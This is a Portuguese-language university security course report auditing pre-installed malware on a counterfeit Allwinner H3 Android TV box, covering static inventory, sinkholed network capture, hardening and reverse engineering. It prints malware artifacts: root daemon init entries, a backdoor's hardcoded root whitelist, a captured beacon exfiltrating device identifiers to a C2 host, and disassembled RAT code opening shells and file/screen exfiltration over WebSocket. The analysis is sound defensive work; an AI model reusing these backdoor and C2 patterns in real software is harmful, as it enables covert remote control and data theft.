Relatório Técnico Unificado — Auditoria Forense, Análise de Rede, Engenharia Reversa e Sanitização de Firmware Android em TV Box (`dolphin-fvd-p1` / Allwinner H3)

Instituição: Universidade Estadual do Piauí (UESPI) — Campus Piripiri
Curso: Bacharelado em Ciência da Computação
Disciplina: Segurança Computacional (2026)
Docente: Prof. Dr. José Vigno
Objeto de Estudo: Unidades TV Box genéricas comercializadas como *"4K Ultra HD / Android 11.1 / 8 GB RAM / 128 GB ROM / 5G"* (Placa `dolphin-fvd-p1`, SoC Allwinner H3 `sun8iw7`, Android 7.0 real API 24)
Unidades Auditadas: Seriais `14f2782704d344000052` e `65f278220a133c00006d`.

Autores e Participantes do Projeto

Este documento consolida, em um único relatório técnico autocontido, todas as quatro etapas sequenciais de investigação conduzidas na disciplina de **Segurança Computacional**:

Etapa do Projeto	Escopo Principal de Atuação	Autores Responsáveis
Etapa 1 (Grupo 1)	**Caracterização do Dispositivo e Análise Estática Inicial:** Inventário forense com hashes SHA-256 de 507 artefatos, comprovação da falsificação de hardware/versão, mapeamento de 94 APKs, 1.272 permissões, 49 scripts `init` (`.rc`) e identificação estática inicial de `UOTA`, `QCast` e `GetApps`.	**Maria Rita** **Pedro Gabryel**
Etapa 2 (Grupo 2)	**Análise Dinâmica e Monitoramento de Tráfego em Rede Isolada:** Construção do laboratório `lab-tvbox` (`hostapd`, `dnsmasq`, `nftables`, `tcpdump`), servidor *sinkhole* na porta TCP `2082`, captura de *beacons* C2 e correlação de processos e sockets (`E1` a `E6`).	**João Marcello** **Vinícius Dias**
Etapa 3 (Grupo 3)	**Preservação Forense e Hardening Reversível (Nível 1):** Backup integral via `dd` + validação MD5 das 8 partições NAND, classificação *Whitelist/Greylist/Blacklist*, contenção via `pm disable-user`, `pm hide` e `appops`, e bloqueio de fontes desconhecidas.	**Francisco Tiago** **Olimpio** **Wellyson**
Etapa 4 (Fase Final)	**Engenharia Reversa Profunda de Payloads Ocultos, Sanitização Definitiva (Nível 2), Prova de Resiliência ao Factory Reset e Proposta EduBox OS:** Dissecação dos binários ELF (`qw`, `att_policy`), descoberta do RAT WebSocket (`ds.b20.host`), extração das chaves AES-128 de `command.do`, descompilação dos 3 `.dex` ocultos do `QCast` (`TITAN_PLUGIN_DAEMON` + scanner LAN/ADB), fraude hardcoded em `Settings.apk`, automação (`sanitizador_tvbox.sh`) e teste de resistência ao *Factory Reset*.	**Olimpio**

Sumário Executivo e Fluxo Geral da Pesquisa

A investigação partiu de uma pergunta prática de segurança computacional: **equipamentos de baixo custo do tipo TV Box Android genéricos podem ser utilizados com segurança em redes domésticas ou laboratórios acadêmicos?**

Ao longo das quatro etapas documentadas neste relatório, comprovou-se que o firmware de fábrica da plataforma `dolphin-fvd-p1` não apenas falsifica suas especificações de hardware e sistema operacional, mas sai de fábrica infectado em múltiplas camadas por:

1. **Dois daemons de acesso root nativo pré-instalados** (`/system/xbin/su` e `/system/bin/qw`) operando com SELinux desarmado (`Permissive`);
2. **Um Trojan de Acesso Remoto (RAT) com privilégios de sistema e root** (`com.uv.droid.uota` / `com.uv.droid.uotaback`), dotado de *watchdog* mútuo, execução de scripts criptografados com AES-128

(`command.do`) e um módulo de *Reverse Shell* interativo via WebSocket (`ds.b20.host`) capaz de executar comandos em tempo real (`cmd`/`cmdb`), exfiltrar arquivos (`dld`) e capturar a tela do televisor (`scc`);

3. Um framework modular de carregamento dinâmico de bytecode (`com.qcode.ad_service_server` / `QCast`), que oculta 3 arquivos `.dex` dentro de `assets/qcast_advertisement.zip` para instalar silenciosamente um **proxy residencial P2P comercial (`TITAN_PLUGIN_DAEMON` / `io.titannetwork.service`)**, varrer todos os dispositivos da rede local via ARP/ICMP e tentar conexões laterais na porta TCP `5555` (`AdbConnect`);

4. Uma loja de aplicativos alternativa (`com.simple.appstore.flymarket` / `GetApps_203.apk`) blindada pelo packer comercial chinês **Qihoo 360 Jiagu (`libjiagu.so`)** e ferramentas de teste de fábrica (`FactoryStability.apk`) que exfiltram a lista de redes Wi-Fi vizinhas (`wifi_ap_list`).

Por fim, desenvolveu-se e validou-se cientificamente um procedimento automatizado de **Sanitização Cirúrgica de Nível 2 (`sanitizador_tvbox.sh`)** diretamente na partição `/system`, comprovando por meio de experimento controlado em três estados que o equipamento sanitizado permanece **limpo e persistente mesmo após um Reset de Fábrica (`MASTER_CLEAR`)**.

Parte I — Caracterização do Firmware e Análise Estática Inicial (Etapa 1)

*Responsáveis pela Etapa 1: **Maria Rita** e **Pedro Gabryel***

1.1. Metodologia de Coleta e Preservação (Fases S1 a S7)

A primeira etapa estabeleceu a linha de base estática sobre a unidade `14f2782704d344000052` sem conectá-la à internet, dividindo o trabalho em sete fases estruturadas:

• **S1 — Preparação e Isolamento:** Conexão direta via ADB USB com Wi-Fi e Ethernet desabilitados;

• **S2 — Coleta de Metadados de Sistema:** Extração de `getprop`, `/proc/cpuinfo`, `/proc/meminfo`, `mount`, `df`, `ps`, `netstat` e status do SELinux (`getenforce`);

• **S3 — Extração Integral de Pacotes e Binários:** Coleta de **507 arquivos** acompanhados de manifesto de integridade SHA-256 (`hashes_sha256.txt`);

• **S4 — Inventário de APKs e Permissões:** Extração e catalogação de **94 pacotes APK** (`48` em `/system/priv-app`, `41` em `/system/app`, `4` em `/data/app` e `1` em `/system/framework`), totalizando **1.272 permissões solicitadas** e **2.129 componentes Android declarados** (`Activities`, `Services`, `BroadcastReceivers` e `ContentProviders`), sendo **21 pacotes** configurados com `sharedUserId="android.uid.system"`;

• **S5 — Inspeção da Cadeia de Boot (`init`):** Coleta de **49 arquivos de inicialização** (`.rc` e `.sh`) na raiz `/` e em `/system/bin/`;

• **S6 — Descompilação Estática Inicial:** Inspeção dos APKs prioritários com JADX;

• **S7 — Classificação de Risco:** Consolidação na matriz de achados `G1-01` a `G1-09`.

1.2. Especificações Comercializadas vs. Hardware e Sistema Real

A auditoria estática comprovou uma falsificação sistemática das especificações exibidas ao consumidor final:

Parâmetro Auditado	Valor Declarado / Exibido na Caixa e UI	Valor Real Verificado no Kernel e Hardware	Fonte Forense da Verificação
Versão do Android	`Android 11.1`	**Android 7.0 (Nougat — API Level 24)**	`ro.build.version.sdk=24` / `ro.build.id=NRD91N`
Memória RAM	`8 GB`	**1 GB DDR3 (`1.025.148 kB` / ~1001 MB)**	`/proc/meminfo` (`MemTotal`)
Armazenamento Interno	`128 GB`	**~8 GB NAND Flash (`~4,79 GB` em `/data`)**	`/proc/partitions` (`nandd` / `nandk`) e `df -h`

Parâmetro Auditado	Valor Declarado / Exibido na Caixa e UI	Valor Real Verificado no Kernel e Hardware	Fonte Forense da Verificação
Processador (SoC)	"Quad-Core 64-bit 5G"	**Allwinner H3 (`sun8iw7p1`) — 4x ARM Cortex-A7 (32-bit `armv7l`) @ 1.20 GHz**	`/proc/cpuinfo` (`Hardware: sun8iw7`)
GPU	—	**ARM Mali-400 MP2**	`/system/lib/egl/libGLES_mali.so`
Conectividade Sem Fio	`Wi-Fi 5G Dual Band`	**Wi-Fi 2.4 GHz (802.11 b/g/n) — Chip Allwinner/Xradio `xr819`**	`/system/vendor/modules/xr819.ko` (`insmod_device.sh`)
Versão do Kernel Linux	—	**Linux `3.4.39` (base de 2012, compilado em 14/12/2020 por `zc@ubuntu`)**	`/proc/version`
Nível de Patch de Segurança	—	**`2016-10-05` (Defasado e sem correções críticas)**	`ro.build.version.security_patch`
Tipo de Build e Assinatura	Release comercial	**eng (Engenharia) assinada com chaves públicas `test-keys`**	`ro.build.fingerprint` (`Allwinner/dolphin_fvd_p1/...:eng/test-keys`)
Estado do SELinux	`Enforcing` (esperado)	**`Permissive` (Não bloqueia violações de política)**	`getenforce` / `init.rc`

1.3. Análise da Cadeia de Inicialização (`init`) e Daemons Privilegiados

A inspeção dos 49 arquivos de inicialização extraídos do firmware revelou que a imagem de boot e a partição `/system` iniciam serviços de acesso `root` antes da subida completa do Android:

1. SuperSU pré-instalado (`/sbin/suinit` e `/system/etc/init/sudaemon.rc`):

```
# Conteúdo extraído de sudaemon.rc:
service daemonsu /system/xbin/su --daemon
    class main
    user root
    oneshot
```

2. Serviço Nativo `qw` (`/init.debug.rc` e `/system/bin/preinstall.sh`):

```
# Conteúdo extraído de init.debug.rc (linhas 22-25):
service qw /system/bin/qw --daemon
    class core
    user root
    group root
    seclabel u:r:su:s0
```

3. Script de Pré-Instalação Automática (`/init.common.rc` e `/system/bin/preinstall.sh`):

```
#!/system/bin/busybox sh
if [ ! -e /data/system.notfirstrun ]; then
    /system/bin/pm preinstall /system/preinstall
    /system/bin/pm preinstall /sdcard/preinstall
    touch /data/system.notfirstrun
fi
/system/bin/qw &
```

No primeiro boot (ou logo após um *Factory Reset*, quando `/data/system.notfirstrun` deixa de existir), o script reinstala silenciosamente todos os APKs presentes na pasta `/system/preinstall` e dispara o binário `/system/bin/qw`.

1.4. Descobertas Estáticas nos APKs Críticos e Matriz do Grupo 1 (`G1-01` a `G1-09`)

- **`com.uv.droid.uota` (`UOTA_aikePro103.apk`) e `com.uv.droid.uotaback` (`UOTABack_aikePro102.apk`):** Ambos operam com `sharedUserId="android.uid.system"` (`UID 1000`). O Grupo 1 reconstruiu o fluxo da

máquina de estados `OtaTaskSm`: ao receber uma tarefa cujo `packageName` seja `"script_package_name"`, o estado `Installing` baixa `/sdcard/uota/script.zip`, extrai o arquivo `command.do`, descriptografa cada linha via `AESUtils.decryptString()` e executa os comandos via `ProcessUtils` no shell (`sh`/`su`), apagando o arquivo `.zip` em seguida para remover rastros.

• **`com.qcode.ad_service_server` (`QCast_TV_ad_service_release_build_aikeweida_box_976_signed.apk`):** Registrado para iniciar no `BOOT_COMPLETED`, seu `BootCompleteReceiver` contém uma rotina `deleteDir` que varre o armazenamento apagando arquivos maiores que **10 MB**, mas preserva explicitamente diretórios com prefixo **`titan-*`** (`titan-com.qcode.ad_service_server`, `titan-com.qcode.rn.launcher`, `titan-io.titannetwork.service`). Além disso, o APK embute o arquivo compactado `assets/qcast_advertisement.zip` contendo código secundário carregado dinamicamente.

• **`com.simple.appstore.flymarket` (`GetApps_203.apk`):** Loja alternativa chinesa cujo código real encontra-se empacotado e ofuscado pelas bibliotecas nativas `assets/libjiagu.so` e `assets/libjiagu_x86.so` (`com.stub.StubApp`).

ID	Componente / Arquivo	Severidade	Descrição Técnica Consolidada (Etapa 1)
G1-01	`com.uv.droid.uota` (`OtaTaskSm.java`)	**CRÍTICA**	Execução remota de scripts shell criptografados (`command.do` dentro de `/sdcard/uota/script.zip`) como UID 1000 / `root`, seguida de deleção de evidências.
G1-02	`com.uv.droid.uotaback`	**CRÍTICA**	Clone redundante do `UOTA` operando em paralelo com `android.uid.system` para garantir persistência da infraestrutura C2 (`uota.uota.xyz`).
G1-03	Build `eng/test-keys` + `SELinux Permissive`	**CRÍTICA**	Firmware compilado em modo de engenharia, assinado com chaves de teste públicas da AOSP e com SELinux desarmado (`Permissive`).
G1-04	`/system/xbin/su` (`daemonsu`)	**ALTA**	Binário SuperSU 2.82 pré-instalado na imagem de fábrica e iniciado como daemon `root` no boot (`sudaemon.rc`).
G1-05	`com.qcode.ad_service_server` (`QCast`)	**ALTA**	Carregamento dinâmico de código a partir de `assets/qcast_advertisement.zip` e rotina de limpeza seletiva que preserva pastas `titan-*`.
G1-06	`com.simple.appstore.flymarket` (`GetApps`)	**ALTA**	Loja alternativa com permissão de instalação de pacotes, protegida contra engenharia reversa estática pelo packer nativo `libjiagu.so`.
G1-07	`FactoryStability.apk` (`com.adups.fota`)	**ALTA**	App de fábrica com `android.uid.system`, execução `su` (`RootUtil`) e SDK **Adups FOTA** embarcado.
G1-08	`/system/bin/qw` e `/system/bin/att_policy`	**ALTA**	Daemons nativos iniciados como `root` em `init.debug.rc`, `preinstall.sh` e `antutu.rc` (função interna desvendada na Etapa 4).
G1-09	`/system/build.prop` e `Settings.apk`	**MÉDIA**	Falsificação comercial de versão do Android (`11.1` vs `7.0` real) e capacidade de memória RAM (`8 GB` vs `1 GB` real).

Parte II — Análise Dinâmica e Monitoramento de Tráfego em Rede Isolada (Etapa 2)

*Responsáveis pela Etapa 2: **João Marcello** e **Vinícius Dias***

2.1. Arquitetura do Laboratório de Rede Isolada (`lab-tvbox`)

Para observar o comportamento dinâmico do malware sem permitir que a TV Box alcançasse servidores reais de Comando e Controle (C2) na internet, o Grupo 2 construiu uma bancada de interceptação isolada em Linux (`lab-tvbox`):

• **Interface Sem Fio Virtual (`ap0`):** Configurada com `hostapd` na sub-rede `10.42.0.0/24` (Gateway `10.42.0.1`, TV Box em `10.42.0.59`);

• **Isolamento Estrito (`nftables`):** Bloqueio total de encaminhamento externo (`forward drop`), garantindo contenção laboratorial;

• **Instrumentação DNS e Sinkhole (`dnsmasq` + `sinkhole_server.py`):** Registro de todas as consultas DNS e redirecionamento dos domínios suspeitos para `10.42.0.1`, onde um servidor Python escutava na porta TCP `2082` para capturar os cabeçalhos e parâmetros das requisições HTTP.

2.2. Bateria de Experimentos Controlados (`E1` a `E6`)

O Grupo 2 executou seis experimentos sequenciais para isolar a assinatura de rede de cada componente:

1. `E1` (Baseline de Boot e Repouso): Captura desde o momento em que a TV Box conecta ao Wi-Fi, revelando rajadas imediatas de DNS para `www.baidu.com`, `www.google.com`, `uota.uota.xyz`, `launcher.cluster.qcast.cn`, `ad-Stat.qcast.cn`, `log.qcast.cn` e tentativas NTP para 6 IPs fixos na porta UDP `123`.

2. `E1b` (Interceptação com Sinkhole Ativo na Porta 2082): Com `uota.uota.xyz` resolvendo para `10.42.0.1`, o servidor *sinkhole* capturou em texto claro os *beacons* de check-in de `com.uv.droid.uota` e `com.uv.droid.uotaback`.

3. `E2` (Estímulo Direto aos Pacotes `uota` e `uotaback`): Disparos controlados via ADB (`am startservice`) combinados com monitoramento de descritores `/proc/<pid>/fd` e `netstat -tpn`, provando que **as conexões para `www.baidu.com`, `www.google.com` e os 6 IPs NTP fixos partiam exclusivamente do par `uota`/`uotaback`** (usados para verificar conectividade e obter o relógio mundial via cabeçalho HTTP `Date` antes do check-in C2).

4. `E3` (Estímulo ao `com.qcode.ad_service_server`): Monitoramento do serviço `QCast`, registrando consultas para `www.163.com` (sincronização de tempo em `TimeOfWorld`), `launcher.cluster.qcast.cn`, `ad-Stat.qcast.cn` e `log.qcast.cn`.

5. `E4` (Estímulo à Loja `com.simple.appstore.flymarket`): Abertura controlada do app `GetApps`, capturando tráfego para o backend `appstore.bb20.site`, telemetria `alog.umeng.com` / `alog.umengcloud.com` e `astromaterials.org`.

6. `E5` e `E6` (Inspeção de Serviços Google/Play Protect e Teste de Contenção): Verificação de que o Google Play Protect encontrava-se incapaz de remover APKs residentes em `/system` e validação preliminar de que `pm disable-user` cessava o tráfego de `uota`/`uotaback`, mas sofria reversão pós-reboot para `qcode` e `flymarket`.

2.3. Evidência Capturada no Sinkhole (`uota.uota.xyz:2082`)

Durante o experimento `E1b`, ambos os processos (`uota` e `uotaback`) enviaram requisições HTTP GET sem criptografia TLS contendo a impressão digital completa do hardware e da rede do usuário:

```
GET /api/common/ota/profile/v1?did=cc79cf0c832d&version=103&brand=Allwinner&model=dolphin-fvd-
p1&manf=Allwinner&release=11.1&sdk=24&product=dolphin_fvd_p1&board=exdroid&hardware=sun8iw7&fingerprint=Al
lwinner%2Fdolphin_fvd_p1%2Fdolphin-fvd-p1%3A7.0%2FNRD91N%2F20201214173318%3Aeng%2Ftest-
keys&cpuSerial=14f2782704d344000052&androidId=a427ab9e5b0f4a19&wifiMac=cc%3A4b%3A73%3A62%3A77%3A3c&ethMac=
cc%3A79%3Acf%3A0c%3A83%3A2d HTTP/1.1
Host: uota.uota.xyz:2082
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.10.0
```

(E simultaneamente `/otabackup/profile/v1?...` *pelo pacote* `com.uv.droid.uotaback` *com* `version=102`*).*

2.4. Matriz de Achados Dinâmicos do Grupo 2 (`A1` a `A13`)

ID	Categoria	Descrição do Achado Dinâmico (Etapa 2)	Evidência Técnica
A1	C2 / Exfiltração	Check-in HTTP em texto claro na porta TCP `2082` para `uota.uota.xyz` exfiltrando `cpuSerial`, `ethMac`, `wifiMac`, `androidId` e `fingerprint`.	Captura `sinkhole` (`E1b`, `E2`)

ID	Categoria	Descrição do Achado Dinâmico (Etapa 2)	Evidência Técnica
A2	Redundância C2	Atuação simultânea de `com.uv.droid.uota` (`/api/common/ota/profile/v1`) e `com.uv.droid.uotaback` (`/otabackup/profile/v1`).	Captura `sinkhole` (`E1b`)
A3	Conectividade / Relógio	Uso de `www.baidu.com` e `www.google.com` pelo par `uota`/`uotaback` para teste de internet e leitura do cabeçalho HTTP `Date`.	`dnsmasq.log` + `netstat -tpn` (`E2`)
A4	NTP Hardcoded	Tentativas de conexão UDP `123` para 6 endereços IP fixos codificados nos binários/APKs de atualização.	Capturas `.pcap` (`E1`, `E2`)
A5	Adware / Dropper	Comunicação de `com.qcode.ad_service_server` com `launcher.cluster.qcast.cn`, `ad-Stat.qcast.cn`, `log.qcast.cn` e `www.163.com`.	`dnsmasq.log` (`E1`, `E3`)
A6	App Store Alternativa	Tráfego de `com.simple.appstore.flymarket` para `appstore.bb20.site`, `alog.umeng.com`, `alog.umengcloud.com` e `astromaterials.org`.	`dnsmasq.log` (`E4`)
A7	Backdoor Root Local	Processo `/system/bin/qw --daemon` mantendo aberto o socket UNIX `/dev/com.koushikdutta.superuser.daemon/server` sob contexto `u:r:su:s0`.	`lsof` / `/proc/net/unix`
A8	Daemon Root Adicional	Execução concorrente de `/system/xbin/daemonsu` (SuperSU) com socket em `/dev/socket/su-daemon`.	`ps -Z` / `/proc/net/unix`
A9	Superfície de Portas	Portas abertas em todas as interfaces (`0.0.0.0`): TCP `6466` e `6467` (`AtvRemoteService` — `com.android.tv.remote.service`) e UDP `5353` (mDNS).	`netstat -tulnp`
A10	Persistência no Boot	Reversão automática do estado `pm disable-user` após reboot para os pacotes instalados a partir de `/system/preinstall` (`qcode` e `flymarket`).	Teste de reboot (`E6`)
A11	SELinux Inoperante	Sistema operando globalmente em modo `Permissive`, permitindo que processos de sistema e daemons interajam sem bloqueio MAC.	`getenforce` (`Permissive`)
A12	Telemetria de Fábrica	Presença ativa de `FactoryStability` e ferramentas `DragonBox` com permissões de sistema e rede.	`ps` / `dumpsys package`
A13	Ausência de Proteção	Ineficácia de mecanismos padrão de usuário (Play Protect) contra ameaças pré-instaladas na partição `/system`.	Inspeção `E5`

Parte III — Preservação Forense e Hardening Reversível de Nível 1 (Etapa 3)

Responsáveis pela Etapa 3: ***Francisco Tiago***, ***Olimpio*** *e* ***Wellyson***

3.1. Preservação Forense Integral das Partições NAND (`dd` + MD5)

Antes de realizar qualquer modificação na segunda unidade física (`Serial 65f278220a133c00006d`), o Grupo 3 estabeleceu um protocolo estrito de preservação forense e capacidade de *rollback*, extraindo imagens binárias completas (`dd`) das **8 partições críticas da memória NAND** e validando a integridade cruzada via hash MD5 entre o dispositivo e a estação de trabalho:

Partição	Dispositivo	Imagem Gerada	Hash MD5 Verificado (Dispositivo = Host)	Papel no Sistema
`bootloader`	`/dev/block/nanda`	`01_bootloader.img`	`78f5c79e909ce92efbd4171bf8cf8c65`	Bootloader inicial (U-Boot / boot0)

Partição	Dispositivo	Imagem Gerada	Hash MD5 Verificado (Dispositivo = Host)	Papel no Sistema
env	/dev/block/nandb	02_env.img	8bf8854b87669aa96de2de6d902b92a1	Variáveis de ambiente do U-Boot
boot	/dev/block/nandc	03_boot.img	83952f0047a272ef039321b387cd4b7f	Kernel Linux 3.4.39 + Ramdisk (init.rc, suinit)
system	/dev/block/nandd	04_system.img	5cd7b171ba3fc896abca9150ff472aa2	Sistema Android, APKs de sistema e /system/preinstall
verity_block	/dev/block/nandf	05_verity_block.img	d7a368d08e29647bcce16bd74bf81dc2	Bloco de metadados dm-verity
misc	/dev/block/nandg	06_misc.img	d7a368d08e29647bcce16bd74bf81dc2	Comandos de transição para o Recovery (boot-recovery)
recovery	/dev/block/nandh	07_recovery.img	9cf49dfce1a0e3262fe0c4036b99c4d1	Imagem de recuperação do sistema
private	/dev/block/nandj	08_private.img	b4b1373420a0d52b63310ebce8eb6b11	Dados privados de fábrica (Serial / MAC via libsst.so)

3.2. Classificação de Pacotes e Estratégia de Contenção Reversível (Nível 1)

Para mitigar os riscos sem alterar fisicamente a partição /system naquele primeiro momento (mantendo total reversibilidade em nível de usuário), os pacotes foram auditados e classificados em três listas:

• **Whitelist (Intocados):** Componentes vitais para boot, interface de TV, rede, som e vídeo (android, com.android.systemui, com.android.settings, com.droidlogic.mboxlauncher, com.softwinner.TvdVideo, com.google.android.gms, com.android.vending).

• **Greylist (Monitorados):** Aplicativos utilitários ou de mídia pré-instalados sem atividade C2 direta (com.softwinner.TvdFileManager, org.xbmc.kodi, etc.).

• **Blacklist (Alvos de Neutralização):**

1. com.uv.droid.uota e com.uv.droid.uotaback (Backdoor OTA / C2);

2. com.qcode.ad_service_server (QCast — Adware / Dropper .dex);

3. com.simple.appstore.flymarket (GetApps — Loja alternativa ofuscada);

4. com.android.tv.remote.service (AtvRemoteService — Abria as portas TCP 6466 e 6467 sem autenticação);

5. Pacotes de teste e coleta de fábrica: com.factorytools.factorystability, com.softwinner.dragonbox, com.softwinner.agingdragonbox, com.allwinnertech.dragonsn, com.allwinnertech.dragonenter, com.softwinner.awlivetv, com.Cinderella.awmanager e com.ionsitech.airscreen.

3.3. Execução do Hardening Nível 1 (hardening.ps1) e Escalonamento Técnico

O Grupo 3 automatizou a contenção no script hardening.ps1 em quatro frentes:

1. Desativação via pm disable-user --user 0: Aplicada com sucesso e persistência pós-reboot para

`com.uv.droid.uota`, `com.uv.droid.uotaback` e `com.android.tv.remote.service`.

2. Escalonamento para `pm hide` e `pm uninstall -k --user 0`: Durante o teste de persistência pós-reboot, verificou-se que os pacotes oriundos de `/system/preinstall` (`com.qcode.ad_service_server`, `com.simple.appstore.flymarket`, `com.factorytools.factorystability`, `dragonbox`, etc.) tinham o estado `DISABLED_USER` revertido para `enabled` durante o boot. O Grupo 3 escalonou a contenção aplicando **`pm hide`** (combinado com `pm uninstall -k --user 0` e `appops set <pkg> RUN_IN_BACKGROUND ignore`), o que impediu o carregamento desses pacotes mesmo após múltiplos reboots.

3. Bloqueio de Fontes Desconhecidas (`install_non_market_apps = 0`): Executou-se `settings put secure install_non_market_apps 0` e validou-se o bloqueio na prática tentando instalar um APK externo legítimo (VLC Media Player), confirmando que o sistema passou a rejeitar instalações fora da loja oficial.

4. Limpeza de Artefatos em `/sdcard` e Cache: Remoção das pastas `/sdcard/uota` e `/sdcard/uotaback`.

Resultados Quantitativos do Hardening Nível 1 (Antes vs. Depois)

• **Serviços ativos em execução (`dumpsys activity services`):** Reduzidos de **33 para 29** (eliminação completa de `UotaService`, `UotaBackService`, `AdService` e `AtvRemoteService`);

• **Portas de rede abertas (`netstat -tulnp`):** Fechamento total das portas **TCP `6466`**, **TCP `6467`** e **UDP `5353`** (0 portas de escuta expostas);

• **Tráfego C2 em nível de aplicação:** Cessação imediata das conexões para `uota.uota.xyz`, `qcast.cn` e `bb20.site`.

Parte IV — Engenharia Reversa Profunda de Payloads Ocultos, Sanitização Definitiva (Nível 2) e Prova de Resiliência ao Factory Reset (Etapa 4)

Responsável pela Etapa 4: ***Olimpio***

4.1. Motivação da Etapa 4: Lacunas Técnicas Pendentes das Etapas 1 a 3

Embora o Hardening de Nível 1 (Etapa 3) tenha contido os aplicativos no espaço de usuário (`/data`), quatro questões fundamentais permaneciam abertas:

1. O que faziam exatamente os binários nativos `/system/bin/qw` (achado `G1-08`) e `/system/bin/att_policy`, que continuavam rodando como `root`?

2. Por que o `pm disable-user` revertia no boot para APKs de `/system/preinstall`, enquanto o `pm hide` persistia?

3. O que havia dentro dos 3 arquivos `.dex` ocultos em `assets/qcast_advertisement.zip` do `QCast` e nas classes não acionadas do `UOTA`/`UOTABack`?

4. Fragilidade contra *Factory Reset*: Como `pm disable-user` e `pm hide` gravam seu estado na partição `/data`, um simples *Factory Reset* feito por um usuário ou aluno apagaria `/data` e restauraria todos os malwares guardados na partição `/system`.

Para responder a todas essas questões com rigor forense, desenvolvemos um desmontador de bytecode Dalvik em Python (`dex_inspector.py`) implementando a tabela completa de largura de instruções Dalvik (256 opcodes + pseudo-instruções `packed-switch`, `sparse-switch` e `fill-array-data`) e realizamos o disassembly oficial em **Smali** via Google Baksmali (`smali-baksmali`).

4.2. Dissecação da Camada Nativa (`qw`, `att_policy`, `su` e Reversão no Boot)

4.2.1. `/system/bin/qw` — Backdoor Root com Whitelist Hardcoded

A análise binária do arquivo ELF `/system/bin/qw` (`SHA-256: d598531b5389451f1ca111579a6f14a5620521242071847743e7b11521007f57`) e do script `init.debug.rc` comprovou que:

• Ele é registrado como `service qw /system/bin/qw --daemon` na `class core` (sem `oneshot`), de modo que o processo `init` (PID 1) o reinicia automaticamente se for morto com `kill`.

• A seção `.rodata` do binário ELF revela tratar-se de uma compilação customizada do Koush Superuser (`1022 com.koushikdutta.superuser`) que dispensa qualquer confirmação do usuário e concede shell `root` (`uid=0`) instantaneamente via socket `/dev/com.koushikdutta.superuser.daemon/server` a qualquer processo cujo caminho ou pacote contenha uma das seguintes substrings hardcoded:

```
# Strings extraídas da tabela .rodata de /system/bin/qw:
/dev/com.koushikdutta.superuser.daemon/server
1022 com.koushikdutta.superuser
.agingdragonbox
inner.dragonbox
ech.dragonenter
 process_utils
/data/local/tmp
```

Observe a gravidade das duas últimas entradas: qualquer código ligado a `process_utils` (`cn.qcast.process_utils`, biblioteca interna do `QCast`) ou qualquer executável depositado em `/data/local/tmp` obtém `root` automático sem qualquer prompt na tela.

4.2.2. `/system/bin/att_policy` — Daemon de Fraude de Benchmark (AnTuTu Cheating)

Iniciado por `antutu.rc`, o binário `/system/bin/att_policy` (`SHA-256: 749d80e028a2146c3737a041ef0604c8a6b54f741247cf00b649c0ca5d505f04`) contém os símbolos ELF `aw_antutu_watch`, `boostup_cpu_entry` e `policy_For_Benchmark`. Ele monitora em loop a pasta `/data/data/com.antutu.ABenchMark/` e, ao detectar a execução do benchmark AnTuTu, força o `scaling_governor` de todos os núcleos para `performance` ignorando os limiares normais de `/sys/class/thermal/thermal_zone0/temp`.

4.2.3. Por que `pm disable-user` Revertia no Boot para `/system/preinstall`?

A leitura de `init.common.rc` mostra que o serviço `preinstall` (`preinstall.sh`) roda apenas no primeiro boot (quando `/data/system.notfirstrun` não existe). A reversão do estado `DISABLED_USER` (`enabled=3`) a cada boot é causada pelo `PackageManagerService` modificado da Allwinner, que reescaneia o diretório `/system/preinstall/` na inicialização e reseta o estado `enabled` para `DEFAULT` (`0`), mas **não altera o atributo booleano `hidden="true"`** em `/data/system/users/0/package-restrictions.xml` (explicando tecnicamente por que o `pm hide` utilizado pelo Grupo 3 foi eficaz).

4.3. Descoberta Crítica Inédita: O Módulo RAT / Reverse Shell em `UOTA` e `UOTABack`

A descompilação completa de `UOTA_aikePro103.apk` e `UOTABack_aikePro102.apk` revelou um módulo completo de **Controle Remoto Interativo (RAT)** no pacote `com.uv.droid.uota.log.test` que não havia sido ativado na Etapa 2 porque aguardava comando do servidor:

1. Túnel WebSocket Socket.IO para `ds.b20.host` e Dois Shells Persistentes (`cmd` e `cmdb`):

Nas classes `DconAutoTask`, `DconUtils` e `ConnectionManager`, o construtor `ConnectionManager.<init>()` instancia dois processos `'sh'` via `ProcessBuilder`, mantendo seus fluxos `mCmdStream` e `mBackCmdStream` abertos e conectados a um túnel WebSocket para **`http://ds.b20.host:<porta>`**:

```
=== CLASS Lcom/uv/droid/uota/log/test/ConnectionManager; (source: ConnectionManager.java) ===
  direct method: <init>()V
      [str] 'cm-thread'
      [call] Landroid/os/HandlerThread;-><init>(Ljava/lang/String;)V
      [str] 'sh'
      [call] Ljava/lang/ProcessBuilder;-><init>([Ljava/lang/String;)V
      [call] Ljava/lang/ProcessBuilder;->start()Ljava/lang/Process;
      [field] Lcom/uv/droid/uota/log/test/ConnectionManager;->mCmdStream:Ljava/io/DataOutputStream;
      [field] Lcom/uv/droid/uota/log/test/ConnectionManager;->mBackCmdStream:Ljava/io/DataOutputStream;
      [call] Lcom/uv/droid/uota/log/test/ConnectionManager;->startProcessOutReader(Ljava/lang/Process;)V
  direct method: send()V
      [str] 'http'
      [call] Lcom/uv/droid/uota/log/test/DconUtils;->getDconServer()Ljava/lang/String; # "ds.b20.host"
      [str] 'cmd'
      [call] Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/
socket/emitter/Emitter;
      [str] 'cmdb'
      [call] Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/
socket/emitter/Emitter;
      [str] 'dld'
      [call] Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/
socket/emitter/Emitter;
      [str] 'scc'
      [call] Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/
socket/emitter/Emitter;
```

Ao receber os eventos WebSocket **`'cmd'`** ou **`'cmdb'`**, o comando é escrito diretamente no `DataOutputStream` do shell e a saída é devolvida em tempo real ao atacante pelo evento **`'cmdr'`**.

2. Exfiltração Arbitrária de Arquivos (`'dld'`) e Captura de Tela ao Vivo (`'scc'`):

- Ao receber **`'dld'`**, o método `downloadFile(String)` lê qualquer arquivo local da TV Box e o transmite ao C2 pelos eventos `'dldr'` e `'dldrt'`.
- Ao receber **`'scc'`**, o método `scc()` captura a tela da TV do usuário e a envia pelo evento `'sccr'`:

```
  direct method: scc()V
      [str] 'rm /data/local/tmp/scctmp.png'
      [str] 'screencap -p /data/local/tmp/scctmp.png'
